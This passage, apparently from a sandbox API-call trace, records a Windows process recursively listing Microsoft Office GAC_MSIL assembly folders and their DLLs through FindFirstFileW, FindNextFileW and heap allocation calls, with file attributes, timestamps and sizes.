ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.904] FindClose (in: hFindFile=0x6cfe08 | out: hFindFile=0x6cfe08) returned 1 [0250.904] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0250.904] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0250.904] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.904] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.904] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1 [0250.904] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41ede48 [0250.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.905] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.905] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0250.905] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0250.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfe08 [0250.906] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.906] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.906] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.906] FindClose (in: hFindFile=0x6cfe08 | out: hFindFile=0x6cfe08) returned 1 [0250.906] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0250.906] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0250.906] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.906] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.906] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0250.906] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41ede48 [0250.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfe48 [0250.907] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.907] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0250.907] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0250.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.908] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.908] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessapplications.diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.908] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessapplications.diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.908] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0250.908] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0250.908] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0250.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.908] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1 [0250.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41ede48 [0250.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.909] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.909] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0250.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0250.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfe08 [0250.910] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.910] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.910] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.910] FindClose (in: hFindFile=0x6cfe08 | out: hFindFile=0x6cfe08) returned 1 [0250.910] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0250.911] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0250.911] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.911] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.911] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1 [0250.911] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41ede48 [0250.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.911] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.911] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0250.911] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0250.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfe08 [0250.913] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.913] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x348c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.intl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.914] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x348c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.intl.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.914] FindClose (in: hFindFile=0x6cfe08 | out: hFindFile=0x6cfe08) returned 1 [0250.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0250.914] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0250.914] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.914] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0 [0250.914] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0250.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0250.914] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, 